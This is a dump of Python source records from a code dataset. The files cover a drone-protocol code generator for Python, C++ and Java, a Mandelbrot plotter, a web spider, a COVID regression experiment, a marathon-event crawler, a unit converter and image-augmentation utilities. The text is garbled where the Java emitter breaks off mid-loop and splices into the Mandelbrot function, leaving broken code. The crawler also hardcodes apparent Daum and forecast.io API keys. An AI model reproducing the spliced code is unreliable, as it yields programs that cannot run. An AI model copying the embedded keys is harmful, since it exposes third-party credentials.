argnames[-1]:\n outfile.write(', ')\n outfile.write(')')\n\n\n def _paysize(self, argtypes):\n\n return sum([self.type2size[atype] for atype in argtypes])\n \n def _msgsize(self, argtypes):\n\n return self._paysize(argtypes)\n\n\n def _getsrc(self, filename):\n\n return resource_string('msppg', filename)\n \n def _getargnames(self, message):\n\n return [argname for (argname,_) in self._getargs(message)]\n\n def _getargtypes(self, message):\n\n return [argtype for (_,argtype) in self._getargs(message)]\n\n def _getargs(self, message):\n\n return [(argname,argtype) for (argname,argtype) in \n zip(message[1], message[2]) if argname.lower()!='comment']\n\n\n# Python emitter ============================================================================\n\nclass PythonEmitter(CodeEmitter):\n\n def _copy_example(self, name, protocol):\n\n CodeEmitter._copyfile(self, '%s-%s.py' % (protocol, name), 'python/' + ('%s.py' % name))\n\n def __init__(self, msgdict, protocol):\n\n CodeEmitter.__init__(self, 'python', 'py')\n \n self._copy_example('getimu', protocol)\n self._copy_example('getrc', protocol)\n self._copy_example('imudisplay', protocol)\n self._copy_example('setrc', protocol)\n\n mkdir_if_missing('output/python/msppg')\n\n self._copyfile('setup.py', 'python/setup.py')\n\n self.output = open('./output/python/msppg/__init__.py', 'w')\n\n self._write(self.warning('#'))\n\n self.type2pack = {'byte' : 'B', 'short' : 'h', 'float' : 'f', 'int' : 'i'}\n\n self._write(self._getsrc('%s-top-py' % protocol) + '\\n')\n\n for msgtype in msgdict.keys():\n msgstuff = msgdict[msgtype]\n msgid = msgstuff[0]\n if msgid < 200:\n self._write(4*self.indent + ('if self.message_id == %d:\\n\\n' % msgstuff[0]))\n self._write(5*self.indent + 'if hasattr(self, \\'' + msgtype + '_Handler\\'):\\n\\n')\n self._write(6*self.indent + 'self.%s_Handler(*struct.unpack(\\'' % msgtype)\n for argtype in self._getargtypes(msgstuff):\n self._write('%s' % self.type2pack[argtype])\n self._write(\"\\'\" + ', self.message_buffer))\\n\\n')\n\n self._write(self._getsrc('bottom-py') + '\\n')\n\n for msgtype in msgdict.keys():\n\n msgstuff = msgdict[msgtype]\n msgid = msgstuff[0]\n\n if protocol == 'msp':\n\n self._write(self.indent + 'def serialize_' + msgtype + '(self')\n for argname in self._getargnames(msgstuff):\n self._write(', ' + argname)\n self._write('):\\n\\n')\n self._write(self.indent*2 + 'message_buffer = struct.pack(\\'')\n for argtypes in self._getargtypes(msgstuff):\n self._write(self.type2pack[argtype])\n self._write('\\'')\n for argname in self._getargnames(msgstuff):\n self._write(', ' + argname)\n self._write(')\\n\\n')\n self._write(self.indent*2 + \n ('msg = chr(len(message_buffer)) + chr(%s) + message_buffer\\n\\n' % msgid))\n self._write(self.indent*2 + 'return \\'$M%c\\' + msg + chr(_CRC8(msg))\\n\\n' %\n ('>' if msgid < 200 else '<'))\n\n if protocol == 'mavlink' or msgid < 200:\n\n self._write(self.indent + 'def set_%s_Handler(self, handler):\\n\\n' % msgtype) \n self._write(2*self.indent + 'self.%s_Handler = handler\\n\\n' % msgtype)\n\n if protocol == 'msp' and msgid < 200:\n\n self._write(self.indent + 'def serialize_' + msgtype + '_Request(self):\\n\\n')\n self._write(2*self.indent + 'return \\'$M<\\' + chr(0) + chr(%s) + chr(%s)\\n\\n' % \n (msgid, msgid))\n\n def _write(self, s):\n\n self.output.write(s)\n\n# C++ / Arduino emitter ============================================================================\n\nclass CPPEmitter(CodeEmitter):\n\n def __init__(self, msgdict, protocol):\n\n CodeEmitter.__init__(self, 'cpp', 'cpp')\n mkdir_if_missing('output/cpp/msppg')\n self._copyfile('msp-example.cpp', 'cpp/msp-example.cpp')\n\n mkdir_if_missing('output/arduino')\n mkdir_if_missing('output/arduino/MSPPG')\n mkdir_if_missing('output/arduino/MSPPG/examples')\n mkdir_if_missing('output/arduino/MSPPG/examples/imuexample')\n self._copyfile('msp-imuexample.ino', 'arduino/MSPPG/examples/imuexample/msp-imuexample.ino')\n\n self.type2decl = {'byte': 'byte', 'short' : 'short', 'float' : 'float', 'int' : 'int'}\n\n self.coutput = open('./output/cpp/msppg/msppg.cpp', 'w')\n self.houtput = open('./output/cpp/msppg/msppg.h', 'w')\n\n self.acoutput = open('./output/arduino/MSPPG/msppg.cpp', 'w')\n self.ahoutput = open('./output/arduino/MSPPG/msppg.h', 'w')\n\n self._cwrite(self.warning('//'))\n\n self._hwrite(self._getsrc('msp-top-h'))\n \n self._cwrite('\\n' + self._getsrc('msp-top-cpp'))\n\n for msgtype in msgdict.keys():\n\n msgstuff = msgdict[msgtype]\n msgid = msgstuff[0]\n\n argnames = self._getargnames(msgstuff)\n argtypes = self._getargtypes(msgstuff)\n\n self._hwrite(self.indent*2 + 'MSP_Message serialize_%s' % msgtype)\n self._write_params(self.houtput, argtypes, argnames)\n self._write_params(self.ahoutput, argtypes, argnames)\n self._hwrite(';\\n\\n')\n\n # Write handler code for incoming messages\n if msgid < 200:\n\n self._cwrite(5*self.indent + ('case %s: {\\n\\n' % msgdict[msgtype][0]))\n nargs = len(argnames)\n offset = 0\n for k in range(nargs):\n argname = argnames[k]\n argtype = argtypes[k]\n decl = self.type2decl[argtype]\n self._cwrite(6*self.indent + decl + ' ' + argname + ';\\n')\n self._cwrite(6*self.indent + \n 'memcpy(&%s, &this->message_buffer[%d], sizeof(%s));\\n\\n' % \n (argname, offset, decl))\n offset += self.type2size[argtype]\n self._cwrite(6*self.indent + 'this->handlerFor%s->handle_%s(' % (msgtype, msgtype))\n for k in range(nargs):\n self._cwrite(argnames[k])\n if k < nargs-1:\n self._cwrite(', ')\n self._cwrite(');\\n')\n self._cwrite(6*self.indent + '} break;\\n\\n')\n \n self._hwrite(self.indent*2 + 'MSP_Message serialize_%s_Request();\\n\\n' % msgtype)\n self._hwrite(self.indent*2 + \n 'void set_%s_Handler(class %s_Handler * handler);\\n\\n' % (msgtype, msgtype))\n\n self._hwrite(self.indent + 'private:\\n\\n')\n\n for msgtype in msgdict.keys():\n\n msgstuff = msgdict[msgtype]\n msgid = msgstuff[0]\n \n if msgid < 200:\n self._hwrite(2*self.indent + \n 'class %s_Handler * handlerFor%s;\\n\\n' % (msgtype, msgtype));\n\n self._hwrite('};\\n');\n\n self._cwrite(self._getsrc('bottom-cpp'))\n \n for msgtype in msgdict.keys():\n\n msgstuff = msgdict[msgtype]\n msgid = msgstuff[0]\n\n argnames = self._getargnames(msgstuff)\n argtypes = self._getargtypes(msgstuff)\n\n # Incoming messages\n if msgid < 200:\n\n # Declare handler class\n self._hwrite('\\n\\n' + 'class %s_Handler {\\n' % msgtype)\n self._hwrite('\\n' + self.indent + 'public:\\n\\n')\n self._hwrite(2*self.indent + '%s_Handler() {}\\n\\n' % msgtype)\n self._hwrite(2*self.indent + 'virtual void handle_%s' % msgtype)\n self._write_params(self.houtput, argtypes, argnames)\n self._write_params(self.ahoutput, argtypes, argnames)\n self._hwrite('{ }\\n\\n')\n self._hwrite('};\\n\\n')\n \n # Write handler method\n self._cwrite('void MSP_Parser::set_%s_Handler(class %s_Handler * handler) {\\n\\n' %\n (msgtype, msgtype))\n self._cwrite(self.indent + 'this->handlerFor%s = handler;\\n' % msgtype)\n self._cwrite('}\\n\\n')\n\n # Write request method\n self._cwrite('MSP_Message MSP_Parser::serialize_%s_Request() {\\n\\n' % msgtype)\n self._cwrite(self.indent + 'MSP_Message msg;\\n\\n')\n self._cwrite(self.indent + 'msg.bytes[0] = 36;\\n')\n self._cwrite(self.indent + 'msg.bytes[1] = 77;\\n')\n self._cwrite(self.indent + 'msg.bytes[2] = %d;\\n' % 60 if msgid < 200 else 62)\n self._cwrite(self.indent + 'msg.bytes[3] = 0;\\n')\n self._cwrite(self.indent + 'msg.bytes[4] = %d;\\n' % msgid)\n self._cwrite(self.indent + 'msg.bytes[5] = %d;\\n\\n' % msgid)\n self._cwrite(self.indent + 'msg.len = 6;\\n\\n')\n self._cwrite(self.indent + 'return msg;\\n')\n self._cwrite('}')\n\n\n # Add parser method for serializing message\n self._cwrite('MSP_Message MSP_Parser::serialize_%s' % msgtype)\n self._write_params(self.coutput, argtypes, argnames)\n self._write_params(self.acoutput, argtypes, argnames)\n self._cwrite(' {\\n\\n')\n self._cwrite(self.indent + 'MSP_Message msg;\\n\\n')\n msgsize = self._msgsize(argtypes)\n self._cwrite(self.indent + 'msg.bytes[0] = 36;\\n')\n self._cwrite(self.indent + 'msg.bytes[1] = 77;\\n')\n self._cwrite(self.indent + 'msg.bytes[2] = 62;\\n')\n self._cwrite(self.indent + 'msg.bytes[3] = %d;\\n' % msgsize)\n self._cwrite(self.indent + 'msg.bytes[4] = %d;\\n\\n' % msgid)\n nargs = len(argnames)\n offset = 5\n for k in range(nargs):\n argname = argnames[k]\n argtype = argtypes[k]\n decl = self.type2decl[argtype]\n self._cwrite(self.indent + \n 'memcpy(&msg.bytes[%d], &%s, sizeof(%s));\\n' % (offset, argname, decl))\n offset += self.type2size[argtype]\n self._cwrite('\\n')\n self._cwrite(self.indent + \n 'msg.bytes[%d] = CRC8(&msg.bytes[3], %d);\\n\\n' % (msgsize+5, msgsize+2))\n self._cwrite(self.indent + 'msg.len = %d;\\n\\n' % (msgsize+6))\n self._cwrite(self.indent + 'return msg;\\n')\n self._cwrite('}\\n\\n')\n \n def _cwrite(self, s):\n\n self.coutput.write(s)\n self.acoutput.write(s)\n\n def _hwrite(self, s):\n\n self.houtput.write(s)\n self.ahoutput.write(s)\n\n# Java emitter =======================================================================================\n\nclass JavaEmitter(CodeEmitter):\n\n def __init__(self, msgdict, protocol):\n\n CodeEmitter.__init__(self, 'java', 'java')\n\n self._copyfile('msp-example.java', 'java/msp-example.java')\n\n mkdir_if_missing('output/java/edu')\n mkdir_if_missing('output/java/edu/wlu')\n mkdir_if_missing('output/java/edu/wlu/cs')\n mkdir_if_missing('output/java/edu/wlu/cs/msppg')\n\n self.type2decl = {'byte': 'byte', 'short' : 'short', 'float' : 'float', 'int' : 'int'}\n self.type2bb = {'byte': '', 'short' : 'Short', 'float' : 'Float', 'int' : 'Int'}\n\n self.output = open('./output/java/edu/wlu/cs/msppg/MSP_Parser.java', 'w')\n\n self._write(self.warning('//'))\n\n self._write(self._getsrc('msp-top-java'))\n\n # Write handler cases for incoming messages\n for msgtype in msgdict.keys():\n\n msgstuff = msgdict[msgtype]\n msgid = msgstuff[0]\n\n if msgid < 200:\n\n self._write(6*self.indent + 'case (byte)%d:\\n' % msgid)\n self._write(7*self.indent + 'if (this.%s_handler != null) {\\n' % msgtype)\n self._write(8*self.indent + 'this.%s_handler.handle_%s(\\n' % (msgtype, msgtype));\n\n argnames = self._getargnames(msgstuff)\n argtypes = self._getargtypes(msgstuff)\n\n nargs = len(argnames)\n\n offset = 0\n for k in range(nargs):\n argtype = argtypes[k]\n self._write(8*self.indent + 'bb.get%s(%d)' % (self.type2bb[argtype], offset))\n offset += self.type2size[argtype]\n if k < nargs-1:\n self._write(',\\n')\n self._write(');\\n')\n\n self._write(7*self.indent + '}\\n')\n self._write(7*self.indent + 'break;\\n\\n')\n\n self._write(self._getsrc('bottom-java'))\n\n for msgtype in msgdict.keys():\n\n msgstuff = msgdict[msgtype]\n msgid = msgstuff[0]\n\n argnames = self._getargnames(msgstuff)\n argtypes = self._getargtypes(msgstuff)\n\n # For messages from FC\n if msgid < 200:\n\n # Declare handler\n self._write(self.indent + 'private %s_Handler %s_handler;\\n\\n' % (msgtype, msgtype))\n self._write(self.indent + \n 'public void set_%s_Handler(%s_Handler handler) {\\n\\n' % (msgtype, msgtype))\n self._write(2*self.indent + 'this.%s_handler = handler;\\n' % msgtype)\n self._write(self.indent + '}\\n\\n')\n\n # Write serializer for requests\n self._write(self.indent + 'public byte [] serialize_%s_Request() {\\n\\n' % msgtype)\n paysize = self._paysize(argtypes)\n msgsize = self._msgsize(argtypes)\n self._write('\\n' + 2*self.indent + 'byte [] message = new byte[6];\\n\\n')\n self._write(2*self.indent + 'message[0] = 36;\\n')\n self._write(2*self.indent + 'message[1] = 77;\\n')\n self._write(2*self.indent + 'message[2] = 60;\\n')\n self._write(2*self.indent + 'message[3] = 0;\\n')\n self._write(2*self.indent + 'message[4] = (byte)%d;\\n' % msgid)\n self._write(2*self.indent + 'message[5] = (byte)%d;\\n\\n' % msgid)\n self._write(2*self.indent + 'return message;\\n')\n self._write(self.indent + '}\\n\\n')\n\n # Write serializer method for messages from FC\n self._write(self.indent + 'public byte [] serialize_%s' % msgtype)\n self._write_params(self.output, argtypes, argnames)\n self._write(' {\\n\\n')\n paysize = self._paysize(argtypes)\n msgsize = self._msgsize(argtypes)\n self._write(2*self.indent + 'ByteBuffer bb = newByteBuffer(%d);\\n\\n' % paysize)\n for (argname,argtype) in zip(argnames,argtypes):\n self._write(2*self.indent + 'bb.put%s(%s);\\n' % (self.type2bb[argtype], argname))\n self._write('\\n' + 2*self.indent + 'byte [] message = new byte[%d];\\n' % (msgsize+6))\n self._write(2*self.indent + 'message[0] = 36;\\n')\n self._write(2*self.indent + 'message[1] = 77;\\n')\n self._write(2*self.indent + 'message[2] = %d;\\n' % (62 if msgid < 200 else 60))\n self._write(2*self.indent + 'message[3] = %d;\\n' % msgsize)\n self._write(2*self.indent + 'message[4] = (byte)%d;\\n' %msgdict[msgtype][0]) \n self._write(2*self.indent + 'byte [] data = bb.array();\\n')\n self._write(2*self.indent + 'for (int k=0; k 2:\r\n\t\t\treturn i\r\n\t\tz = z*z + point\r\n\treturn 0\r\n\r\n\r\n# Main function intialises & creates grid. Dependent on _mandel_calc & _plotting.\r\ndef fn_mandelbrot_main(x_min, x_max, y_min, y_max, num_grid_pts, tolerance):\r\n\treal = np.linspace(x_min, x_max, num_grid_pts)\r\n\timag = np.linspace(y_min, y_max, num_grid_pts)\r\n\tvalues = np.empty((num_grid_pts, num_grid_pts))\r\n\tfor i in range(num_grid_pts):\r\n\t\tfor j in range(num_grid_pts):\r\n\t\t\tvalues[j, i] = fn_mandel_calc(real[i] + 1j*imag[j], tolerance)\r\n\tfn_plotting(values, tolerance, x_min, x_max, y_min, y_max)\r\n\treturn\r\n\r\nprint(\"This code will compute the mandelbrot set for a user defined number of points between uer defined boundaries.\\n\")\r\nprint(\"The tolerance is the number of times a specific point will be interated on to determine if it is in the set.\\n\")\r\nprint(\"A plot is saved to file and then printed to screen.\\n\")\r\nprint(\"Note that -2 -> x -> 2 & -2 -> y -> 2 encompass the set.\\n\")\r\n\r\n# Sample grids to run.\r\n# _mandelbrot_main(-2, 2, -2, 2, 1000, 100)\r\n# _mandelbrot_main(0, .5, .5, 1.0, 1000, 100)\r\n# _mandelbrot_main(.5, .6, .3, .4, 1000, 100)\r\n# _mandelbrot_main(.34, .36, .50, 5.2, 1000, 100\r\n# _mandelbrot_main(.30, .32, .56, .58, 1000, 100)\r\n# _mandelbrot_main(.36, .38, .58, .60, 1000, 50)\r\n\r\nG_x_min = float(input(\"Input x_min:\"))\r\nG_x_max = float(input(\"Input x_max:\"))\r\nG_y_min = float(input(\"Input y_min:\"))\r\nG_y_max = float(input(\"Input y_max:\"))\r\nG_num_grid_pts = int(input(\"Input num_grid_pts:\"))\r\nG_tolerance = int(input(\"Input tolerance:\"))\r\n\r\nprint('Computing set ...')\r\nfn_mandelbrot_main(G_x_min, G_x_max, G_y_min, G_y_max, G_num_grid_pts, G_tolerance)\r\n","sub_path":"Mandelbrot_Main.py","file_name":"Mandelbrot_Main.py","file_ext":"py","file_size_in_byte":2884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"483800912","text":"# coding=utf-8\n# from . import downloader, outputer, html_parser, html_arranger, spider_config\nimport downloader, outputer, html_arranger, html_parser, spider_config\n\n\nclass spider_main(object):\n def __init__(self):\n self.downloader = downloader.downloader()\n self.outputer = outputer.Outputer()\n self.parser = html_parser.Parser()\n self.arrange = html_arranger.Arrange()\n\n def craw(self, root_url, pic_type):\n content = self.downloader.download(root_url)\n parse_data = self.parser.html_parse(content)\n return_data = self.outputer.output(parse_data, pic_type)\n if return_data['errcode'] == 0:\n print('success!!!!!!')\n\n\nif __name__ == \"__main__\":\n data_list = spider_config.SpiderConfig().url_config()\n for data in data_list:\n root_url = data['url']\n pic_type = data['type']\n object_spider = spider_main()\n object_spider.craw(root_url, pic_type)\n","sub_path":"Camera/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"206133476","text":"\nimport sys\nsys.path.insert(0, '..')\n\nfrom utils import data\nimport os\nimport sklearn\nimport numpy as np\nimport pandas as pd\nfrom sklearn.svm import SVR\nfrom sklearn.model_selection import train_test_split\nimport json\n\n# ------------ HYPERPARAMETERS -------------\nBASE_PATH = '../COVID-19/csse_covid_19_data/'\n# time_window = 28\ntime_windows = [5, 14, 20]\nkernels = ['rbf', 'sigmoid']\nconfirmed = os.path.join(\n BASE_PATH, \n 'csse_covid_19_time_series',\n 'covid_time_series_converted_US.csv')\n# ------------------------------------------\n\nif __name__ == \"__main__\":\n # ----------- Feature Processing -----------\n print(\"🌈 Feature processing\")\n confirmed = data.load_csv_data(confirmed)\n\n cases, labels = data.get_cases_chronologically(confirmed)\n\n # ---------- Training and Testing ----------\n loss_data = []\n for k in kernels:\n for w in time_windows:\n names, features, targets, targets_smoothed = data.make_features_smoothed(cases, labels, w)\n names, features, targets, targets_smoothed = data.select_random_smoothed(100, names, features, targets, targets_smoothed)\n regre = SVR(kernel=k)\n X_train, X_test, y_train, y_test, s_train, s_test = data.train_test_split_triple(features, targets, targets_smoothed, test_size=0.2)\n print(\"🏃🏻♂️ Started training (Kernel: %s, Window: %d)\" % (k, w))\n regre.fit(X_train, y_train)\n print(\"✨ Testing\")\n print(X_test, y_test)\n loss = regre.score(X_test, y_test)\n print(X_test, s_test)\n loss_s = regre.score(X_test, s_test)\n print(\"💯 Loss: \", loss)\n print(\"💯 Loss (smoothed): \", loss_s)\n loss_data.append([k, w, loss, loss_s])\n\n pd.DataFrame(loss_data).to_csv(\"results/SVR_diff_smoothed.csv\")","sub_path":"exp/exp_smooth_svr.py","file_name":"exp_smooth_svr.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"287304513","text":"# title : crawling event data in pathetic old Korean marathon website\n# website : http://www.roadrun.co.kr/schedule/\n# Korean : 마라톤 웹사이트 이벤트(2016부터) 데이터 크롤링\n\n# -*- coding: utf-8 -*-\nimport re\nimport datetime\nimport requests\nimport json\nimport forecastio\nfrom bs4 import BeautifulSoup\n\ntoday = datetime.datetime.now()\nprint('Working Date : {}'.format(today))\n\n# count total annual event\ndef count_annual_event():\n read = requests.get(\"http://www.roadrun.co.kr/schedule/list.php?today=1451574000&todays=Y\")\n soup = BeautifulSoup(read.content, 'html.parser')\n try:\n table = soup.find('body').find_all('table')[10:11]\n trs = [tr for tr in table][0].find_all('tr')\n total = int(len(trs)/2)\n if total == 0:\n print(\"Can't read data table from original website\")\n else:\n print(\"Ready to crawl {} marathon events since 2016.\".format(total))\n\n except:\n print(\"Can't crawl data from website.\")\n return(total)\n\ndef extract_event_data(url):\n read = requests.get(str(url))\n read.encoding = 'euc-kr'\n soup = BeautifulSoup(read.content, 'html.parser')\n table = soup.find_all('table')[1]\n info = [s.strip() for s in table.text.splitlines() if s]\n info = list(filter(None, info))[1::2]\n #join description\n info[11:len(info)] = [' '.join(info[11:len(info)])]\n return(info)\n\ndef get_all_events_data(start):\n #store all data in empty list\n all_data = []\n total = int(count_annual_event())\n #get final URL query\n end = int(start) + total\n print(\"Collecting data... wait for a second.\")\n try:\n for i in range(start, end):\n url = 'http://www.roadrun.co.kr/schedule/view.php?no={}'.format(i)\n new_data = extract_event_data(url) #values\n if len(new_data) != 9:\n all_data.append(new_data)\n print(\"Merge all events data...\")\n except:\n print(\"Fail to read contents\")\n print(\"{} events are empty.\".format(total-len(all_data)))\n return(data_formatting(all_data))\n\ndef data_formatting(data):\n keys = [\"title\", \"host\", \"email\", \"date\", \"phone\", \"race\", \"city\",\n \"location\", \"host\", \"application_period\", \"website\", \"description\",\n \"latitude\", \"longitude\", \"map_url\", \"temperature\", \"weather\"]\n\n #str_keys = ['대회명', '대표자명', 'E-mail', '대회일시', '전화번호', '대회종목',\n # '대회지역', '대회장소', '주최단체', '접수기간', '홈페이지', '기타소개']\n\n #formatted date string:\n for i in range(len(data)):\n #remove empty data string\n data[i] = [x.replace(x, '.') if x in keys else x for x in data[i]]\n # formatted 'date'\n date = list(map(int, re.findall('\\d+', data[i][3])))\n # wrong user input\n # covert 12 hour to 24 hour\n if '오후' in data[i][3]:\n date[3] += 12\n # wrong user input (1000 hour or 1300 hour)\n date = [10 if x==1000 else x for x in date]\n date = [13 if x==1300 else x for x in date]\n data[i][3] = datetime.datetime(*date).strftime(\"%Y/%m/%d %H:%M\")\n\n # formatted 'application_period'\n try:\n data[i][9] = '{}/{}/{} - {}/{}/{}'.format(*(re.findall('\\d+', data[i][9])))\n except IndexError:\n print(\"Found unexpected 'application_period' type. But it will be ignored.\")\n pass\n\n #get location data\n location = re.sub(',', ' ', data[i][7])\n #get map data\n geocode = get_map_data(location)\n #get weather data\n weather = get_weather_data(geocode[0], geocode[1], date)\n data[i] = [*data[i], *geocode, *weather]\n\n data[i] = dict(zip(keys, data[i]))\n data = sorted(data, key=lambda k: k['date'], reverse=True)\n print('Data formatting...')\n return(data)\n\n# daum mpa API\ndef get_map_data(place):\n baseUrl = 'https://apis.daum.net/local/v1/search/keyword.json'\n params = {'apikey':'317394cebdea4b6359a849bcf994be38', 'sort':1, 'query':place}\n content = requests.get(baseUrl, params=params).json()\n mapData = content['channel']['item']\n try:\n if len(mapData) == 0: #can't search place\n place = ' '.join(place.split()[:-1])\n return (get_map_data(place))\n else:\n mapData = mapData[0]\n map_list = [mapData['latitude'], mapData['longitude'], 'http://map.daum.net/link/map/{}'.format(mapData['id'])]\n return (map_list)\n except KeyError:\n map_list = ['', '', '']\n return (map_list)\n\n# forcase.io API\ndef get_weather_data(latitude, longitude, date):\n apikey = \"d5e9ae1a96b8e4a1509ceba9e8ebd92d\"\n formatted_date = datetime.datetime(*date)\n if len(longitude) == 0:\n weather_list = ['', 'null']\n return(weather_list)\n else:\n try:\n forecast = forecastio.load_forecast(apikey, latitude, longitude, time=formatted_date)\n weather = forecast.currently()\n weather_list = [('{}°C'.format(weather.temperature)), weather.icon]\n return(weather_list)\n except:\n weather_list = ['', 'null']\n return(weather_list)\n\n# read evevnt data since first event in 2016\n# link: http://www.roadrun.co.kr/schedule/view.php?no=6198\nall_data = (get_all_events_data(6198))\nprint(\"Ready to save {} events in file\".format(len(all_data)))\n\nwith open(\"event_data.py\", \"w\") as f:\n try:\n f.write('# -*- coding: utf-8 -*-\\nevent_dict={}'.format(str(all_data)))\n print(\"event_data.py Updated all data successfully!\")\n except:\n print(\"event_data.py Error processing\")\n","sub_path":"myrun/event_script.py","file_name":"event_script.py","file_ext":"py","file_size_in_byte":5663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"434688791","text":"from chem_lex.ChemlabTokens import unit_prefix, supported_units\n#import\nfrom element import Element\ndef convertTo(el, num, Unit, newUnit):\n ### need to redo with the parser\n if(Unit in unit_prefix and newUnit in unit_prefix):\n result = convertPrefix(num,Unit,newUnit)\n elif (Unit in supported_units and newUnit in supported_units):\n result = convertUnit(el, num,Unit,newUnit)\n elif(Unit == 'None'):\n Unit='base'\n result = convertPrefix(num,Unit,newUnit)\n elif(newUnit=='None'):\n newUnit='base'\n result = convertPrefix(num,Unit,newUnit)\n else:\n raise TypeError(\"Invalid Units\")\n return result\n\ndef convertWeight(el ,num, Unit, newUnit):\n ### Converts weight related to an element\n if not isinstance(el, Element):\n raise TypeError(\"Not an element. Cannot perform operation\")\n else:\n amu = el.dictionary['atomic_weight']\n if(Unit=='g'):\n if(newUnit=='mol'):\n result= num/amu\n elif(newUnit=='atoms'):\n mol = num/amu\n result = mol * (6.02*(10**23))\n else:\n raise TypeError(\"It's not possible to make that conversion\")\n elif(Unit == 'mol'):\n if newUnit=='atoms':\n result = result = num*(6.02*(10**23))\n if newUnit=='g':\n result = num*amu\n else:\n raise TypeError(\"It's not possible to make that conversion\")\n elif(Unit=='atoms'):\n if newUnit=='mol':\n result = num/(6.02*(10**23))\n if newUnit=='g':\n mol = num/(6.02*(10**23))\n result = mol * amu\n else:\n raise TypeError(\"It's not possible to make that conversion\")\n else:\n raise TypeError(\"It's not possible to make that conversion\")\n\n return result\n\n\npre = {'G': 10**9, # GIGA\n'M': 10**6, # MEGA\n'k': 10**3, # KILO\n'h': 10**2, # HECTOR\n'da': 10**1, # DEKA\n'base':1,\n'd': 10**(-1), # DECI\n'c': 10**(-2), # CENTI\n'm': 10**(-3), # MILLI\n'u': 10**(-6), # MICRO\n'n': 10**(-9), # NANO\n'p': 10**(-12), # PICO\n'f': 10**(-15),\n}\ndef convertPrefix(num,Unit,newUnit):\n CNum = num * pre[Unit]\n result = CNum/pre[newUnit]\n return result\n\nLongitud = {'ft','me','mi'}\nWeight = {'g','mol','atoms'}\nTemp = {'K','C','F'}\n\ndef convertUnit(el, num , Unit,newUnit):\n if (Unit in Longitud):\n result = convertLong(num, Unit,newUnit)\n elif (Unit in Weight):\n result = convertWeight(el,num, Unit,newUnit)\n elif (Unit in Temp):\n result = convertTemp(num, Unit,newUnit)\n return result\n\ndef convertLong(num, Unit,newUnit):\n if (Unit == 'ft'):\n if (newUnit=='me'):\n result = num/3.2808\n elif newUnit=='mi':\n result = num/5280\n else:\n raise TypeError(\"It's not possible to make that conversion\")\n elif Unit == 'me':\n if newUnit == 'ft':\n result = num*3.2808\n elif newUnit=='mi':\n result = num/1609\n else:\n raise TypeError(\"It's not possible to make that conversion\")\n\n elif Unit == 'mi':\n if newUnit == 'ft':\n result = num*5280\n elif newUnit=='me':\n result = num*1609\n else:\n raise TypeError(\"It's not possible to make that conversion\")\n else:\n raise TypeError(\"It's not possible to make that conversion\")\n return result\n\n\ndef convertTemp(num, Unit, newUnit):\n if(Unit=='K'):\n if(newUnit=='C'):\n result = num - 273.15\n elif(newUnit=='F'):\n result = num * (9/5) - 459.67\n else:\n raise TypeError(\"It's not possible to make that conversion\")\n elif(Unit=='C'):\n if(newUnit=='K'):\n result = num + 273.15\n elif(newUnit=='F'):\n result = (num * (9/5)) + 32\n else:\n raise TypeError(\"It's not possible to make that conversion\")\n elif(Unit=='F'):\n if(newUnit=='C'):\n result = (num -32) * (5/9)\n elif(newUnit=='K'):\n result = (num +459.67 )*(5/9)\n else:\n raise TypeError(\"It's not possible to make that conversion\")\n else:\n raise TypeError(\"It's not possible to make that conversion\")\n return result\n","sub_path":"src/feature.py","file_name":"feature.py","file_ext":"py","file_size_in_byte":4321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"474109481","text":"\"\"\"\r\nsource:\r\nhttps://stackoverflow.com/questions/65498782/how-to-dump-confusion-matrix-using-tensorboard-logger-in-pytorch-lightning\r\nhttps://pytorch-lightning.readthedocs.io/en/latest/starter/introduction_guide.html\r\nhttps://medium.com/pytorch/introduction-to-captum-a-model-interpretability-library-for-pytorch-d236592d8afa\r\nhttps://en.wikipedia.org/wiki/Multinomial_distribution\r\n\"\"\"\r\n\r\nimport torch\r\nimport cv2\r\nimport os\r\nimport json\r\nimport torch.nn as nn\r\nimport numpy as np\r\nfrom pathlib import Path\r\nimport torchvision\r\nfrom torchvision import datasets, models, transforms\r\nfrom torch.utils.data.sampler import Sampler\r\nimport albumentations as A\r\nfrom albumentations.pytorch import ToTensorV2\r\nimport pytorch_lightning as pl\r\nfrom pytorch_lightning import Trainer\r\nfrom sklearn.metrics import accuracy_score, confusion_matrix\r\nfrom matplotlib import pyplot as plt\r\nimport itertools\r\n\r\n\r\nclass AlbumentationsTransform:\r\n def __init__(self):\r\n self.img_transforms = A.Compose(\r\n [\r\n A.Resize(224, 224), A.RGBShift(), A.HorizontalFlip(p=0.5),\r\n A.VerticalFlip(p=0.2), A.ChannelShuffle(0.2), A.ColorJitter(p=0.5),\r\n A.Cutout(num_holes=3, max_h_size=24, max_w_size=24, \r\n fill_value=0, always_apply=False, p=0.5),\r\n A.ShiftScaleRotate(scale_limit=0.5, rotate_limit=0, shift_limit=0.1, p=1, border_mode=0),\r\n A.PadIfNeeded(min_height=224, min_width=224, always_apply=True, border_mode=0),\r\n A.IAAAdditiveGaussianNoise(p=0.2),\r\n A.IAAPerspective(p=0.5),\r\n A.RandomBrightnessContrast(p=0.5),\r\n A.OneOf(\r\n [\r\n A.CLAHE(p=1),\r\n A.RandomBrightness(p=1),\r\n A.RandomGamma(p=1),\r\n ],\r\n p=0.9,\r\n ),\r\n A.OneOf(\r\n [\r\n A.IAASharpen(p=1),\r\n A.Blur(blur_limit=3, p=1),\r\n A.MotionBlur(blur_limit=3, p=1),\r\n ],\r\n p=0.9,\r\n ),\r\n A.OneOf(\r\n [\r\n A.RandomContrast(p=1),\r\n A.HueSaturationValue(p=1),\r\n ],\r\n p=0.9,\r\n ),\r\n A.Normalize(mean=(0.485, 0.456, 0.406), std=(0.229, 0.224, 0.225)),\r\n ToTensorV2(),\r\n ])\r\n def __call__(self, img):\r\n img = np.array(img)\r\n return self.img_transforms(image = img).copy()\r\n\r\n\r\nclass ImbalancedDatasetSampler(Sampler):\r\n def __init__(self, dataset):\r\n self.indices = list(range(len(dataset)))\r\n self.num_samples = len(self.indices)\r\n label_to_count = {}\r\n for idx in self.indices:\r\n label = self._get_label(dataset, idx)\r\n if label in label_to_count:\r\n label_to_count[label] += 1\r\n else:\r\n label_to_count[label] = 1\r\n weights = [1.0 / 